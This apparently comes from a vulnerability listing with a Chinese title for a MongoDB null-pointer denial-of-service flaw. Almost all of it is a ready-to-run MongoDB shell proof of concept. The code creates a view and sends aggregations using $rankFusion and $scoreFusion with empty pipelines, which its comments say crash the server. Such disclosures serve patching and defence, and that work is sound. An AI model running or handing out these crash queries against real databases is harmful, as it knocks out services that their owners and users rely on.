CVE-2026-8063 MongoDB空指针拒绝服务漏洞

// Connect to MongoDB instance // Target a view in the database use test; // Create a view if one does not exist db.createView("targetView", "sourceCollection", []); // Execute aggregation with $rankFusion and an empty pipeline // This triggers the null pointer dereference db.targetView.aggregate([ { $rankFusion: { input: { pipelines: [] // Empty pipeline causes crash } } } ]); // Alternatively using $scoreFusion db.targetView.aggregate([ { $scoreFusion: { input: { pipelines: [] // Empty pipeline causes crash } } } ]);